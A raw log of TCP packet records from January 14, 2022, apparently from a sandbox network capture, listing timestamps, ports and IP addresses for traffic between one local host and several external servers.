Jan 14, 2022 20:23:44.669008970 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669022083 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.669034958 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669059992 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669085026 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669109106 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669121027 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.669135094 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669159889 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669186115 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669210911 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669228077 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.669235945 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669260979 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669286013 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669287920 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.669312000 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669337988 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669363022 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669378996 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.669388056 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669413090 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669434071 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.669440031 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669465065 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669487000 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.669491053 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669517040 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669534922 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.669543028 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669568062 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669593096 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669605970 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.669621944 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669642925 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.669648886 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669676065 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669693947 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.669701099 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669728041 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669749022 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.669754028 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669780970 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669797897 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.669806004 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669826031 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.669856071 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.669882059 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.686463118 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.687789917 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.705573082 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:45.749229908 CET	49856	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:45.766654968 CET	80	49856	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:45.768903971 CET	49856	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:45.769077063 CET	49856	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:45.769150972 CET	49856	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:45.786329031 CET	80	49856	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:45.908940077 CET	80	49856	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:45.912910938 CET	49856	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:45.919852018 CET	49856	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:45.937118053 CET	80	49856	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:45.949255943 CET	49857	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:45.968410969 CET	80	49857	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:45.968527079 CET	49857	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:45.968683958 CET	49857	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:45.969356060 CET	49857	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:45.986495972 CET	80	49857	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:45.986542940 CET	80	49857	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:46.092946053 CET	80	49857	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:46.093025923 CET	49857	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:46.093513012 CET	49857	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:46.112792015 CET	80	49857	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:46.128546000 CET	49858	443	192.168.2.3	104.21.38.221
Jan 14, 2022 20:23:46.128602028 CET	443	49858	104.21.38.221	192.168.2.3
Jan 14, 2022 20:23:46.128688097 CET	49858	443	192.168.2.3	104.21.38.221
Jan 14, 2022 20:23:46.129070997 CET	49858	443	192.168.2.3	104.21.38.221
Jan 14, 2022 20:23:46.129122019 CET	443	49858	104.21.38.221	192.168.2.3
Jan 14, 2022 20:23:46.209007025 CET	443	49858	104.21.38.221	192.168.2.3
Jan 14, 2022 20:23:46.209130049 CET	49858	443	192.168.2.3	104.21.38.221
Jan 14, 2022 20:23:46.216295958 CET	49858	443	192.168.2.3	104.21.38.221
Jan 14, 2022 20:23:46.216316938 CET	443	49858	104.21.38.221	192.168.2.3
Jan 14, 2022 20:23:46.216656923 CET	443	49858	104.21.38.221	192.168.2.3
Jan 14, 2022 20:23:46.217910051 CET	49858	443	192.168.2.3	104.21.38.221
Jan 14, 2022 20:23:46.261895895 CET	443	49858	104.21.38.221	192.168.2.3
Jan 14, 2022 20:23:46.612365961 CET	443	49858	104.21.38.221	192.168.2.3
Jan 14, 2022 20:23:46.612521887 CET	443	49858	104.21.38.221	192.168.2.3
Jan 14, 2022 20:23:46.612565041 CET	443	49858	104.21.38.221	192.168.2.3
Jan 14, 2022 20:23:46.612626076 CET	49858	443	192.168.2.3	104.21.38.221
Jan 14, 2022 20:23:46.612653017 CET	443	49858	104.21.38.221	192.168.2.3
Jan 14, 2022 20:23:46.612723112 CET	443	49858	104.21.38.221	192.168.2.3
Jan 14, 2022 20:23:46.612725019 CET	49858	443	192.168.2.3	104.21.38.221
Jan 14, 2022 20:23:46.612740993 CET	443	49858	104.21.38.221	192.168.2.3
Jan 14, 2022 20:23:46.612832069 CET	443	49858	104.21.38.221	192.168.2.3
Jan 14, 2022 20:23:46.612849951 CET	49858	443	192.168.2.3	104.21.38.221
Jan 14, 2022 20:23:46.612864017 CET	443	49858	104.21.38.221	192.168.2.3
Jan 14, 2022 20:23:46.612930059 CET	49858	443	192.168.2.3	104.21.38.221
Jan 14, 2022 20:23:46.612940073 CET	443	49858	104.21.38.221	192.168.2.3
Jan 14, 2022 20:23:46.612981081 CET	443	49858	104.21.38.221	192.168.2.3
Jan 14, 2022 20:23:46.613042116 CET	49858	443	192.168.2.3	104.21.38.221
Jan 14, 2022 20:23:46.665076971 CET	49858	443	192.168.2.3	104.21.38.221
Jan 14, 2022 20:23:46.665121078 CET	443	49858	104.21.38.221	192.168.2.3
Jan 14, 2022 20:23:46.803921938 CET	49859	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:46.821643114 CET	80	49859	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:46.821784019 CET	49859	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:46.825496912 CET	49859	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:46.825561047 CET	49859	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:46.842869043 CET	80	49859	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:46.944330931 CET	80	49859	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:46.944489956 CET	49859	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:46.973952055 CET	49859	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:46.993882895 CET	80	49859	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:47.014740944 CET	49860	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:47.014796972 CET	443	49860	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:47.014889002 CET	49860	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:47.015170097 CET	49860	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:47.015194893 CET	443	49860	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:47.107436895 CET	443	49860	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:47.107578039 CET	49860	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:47.498193979 CET	49860	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:47.498228073 CET	443	49860	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:47.498835087 CET	443	49860	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:47.499615908 CET	49860	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:47.541893005 CET	443	49860	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:47.549453020 CET	443	49860	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:47.549592018 CET	443	49860	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:47.549722910 CET	49860	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:47.558438063 CET	49860	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:23:47.558471918 CET	443	49860	144.76.136.153	192.168.2.3
Jan 14, 2022 20:23:47.981216908 CET	49861	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:47.998646021 CET	80	49861	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:47.998800993 CET	49861	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:48.084647894 CET	49861	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:48.084686041 CET	49861	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:48.102087021 CET	80	49861	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:48.205950022 CET	80	49861	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:48.206100941 CET	49861	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:48.779134989 CET	49861	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:48.796762943 CET	80	49861	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:49.133690119 CET	49862	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:49.151139975 CET	80	49862	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:49.151276112 CET	49862	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:49.151381969 CET	49862	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:49.155066967 CET	49862	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:49.168632030 CET	80	49862	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:49.173520088 CET	80	49862	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:49.284173012 CET	80	49862	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:49.284296036 CET	49862	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:49.284328938 CET	49862	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:49.301928997 CET	80	49862	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:49.314392090 CET	49863	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:49.331826925 CET	80	49863	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:49.332020998 CET	49863	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:49.332107067 CET	49863	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:49.332129002 CET	49863	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:49.349389076 CET	80	49863	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:49.451119900 CET	80	49863	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:49.451142073 CET	80	49863	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:49.451205969 CET	49863	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:49.451381922 CET	49863	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:49.468622923 CET	80	49863	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:49.483705044 CET	49864	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:49.501167059 CET	80	49864	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:49.501279116 CET	49864	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:49.501405954 CET	49864	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:49.501425028 CET	49864	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:49.518652916 CET	80	49864	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:49.623431921 CET	80	49864	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:49.623547077 CET	49864	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:49.623802900 CET	49864	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:49.641072989 CET	80	49864	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:49.654740095 CET	49865	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:49.671942949 CET	80	49865	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:49.672029972 CET	49865	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:49.672703981 CET	49865	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:49.672725916 CET	49865	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:49.689913034 CET	80	49865	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:49.798146963 CET	80	49865	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:49.798258066 CET	49865	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:49.814255953 CET	49865	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:49.831511021 CET	80	49865	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:49.860532999 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:49.917542934 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:49.917635918 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:49.917762041 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.009021997 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.009043932 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.009061098 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.009078979 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.009102106 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.009134054 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.066920042 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.066948891 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.066966057 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.066982985 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.066999912 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.067014933 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.067032099 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.067048073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.067048073 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.067085981 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.067157984 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.123939991 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.123961926 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.123976946 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.123995066 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.124011040 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.124018908 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.124027967 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.124051094 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.124053955 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.124073029 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.124085903 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.124089956 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.124109030 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.124111891 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.124126911 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.124144077 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.124150038 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.124161959 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.124181032 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.124185085 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.124203920 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.124221087 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.124255896 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.124273062 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.181121111 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181149960 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181168079 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181185961 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181204081 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181221962 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181225061 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.181241035 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181260109 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181267977 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.181278944 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181297064 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181307077 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.181318045 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181334972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181339025 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.181354046 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181370974 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181371927 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.181390047 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181406975 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181407928 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.181425095 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181442976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181443930 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.181461096 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181478024 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181479931 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.181495905 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181513071 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181515932 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.181531906 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181549072 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181551933 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.181566000 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181583881 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181586027 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.181602955 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181618929 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181621075 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.181637049 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181653976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181655884 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.181673050 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181689978 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.181693077 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.181727886 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.238548994 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.238584995 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.238610029 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.238636017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.238660097 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.238684893 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.238687038 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.238713980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.238739014 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.238739967 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.238765955 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.238790035 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.238792896 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.238816023 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.238836050 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.238841057 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.238868952 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.238893032 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.238918066 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.238920927 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.238943100 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.238956928 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.238969088 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.238985062 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.238992929 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239017010 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239041090 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239063025 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.239064932 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239089966 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239099979 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.239115953 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239140987 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239144087 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.239166021 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239190102 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239202023 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.239217043 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239242077 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239252090 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.239268064 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239289045 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.239295006 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239317894 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239341974 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.239342928 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239372015 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239394903 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239419937 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239423990 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.239447117 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239458084 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.239475012 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239499092 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239521980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239526987 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.239547968 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239561081 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.239578009 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239603996 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.239604950 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239630938 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239656925 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239666939 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.239685059 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239712954 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.239713907 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.239742994 CET	80	49866	81.163.30.181	192.168.2.3
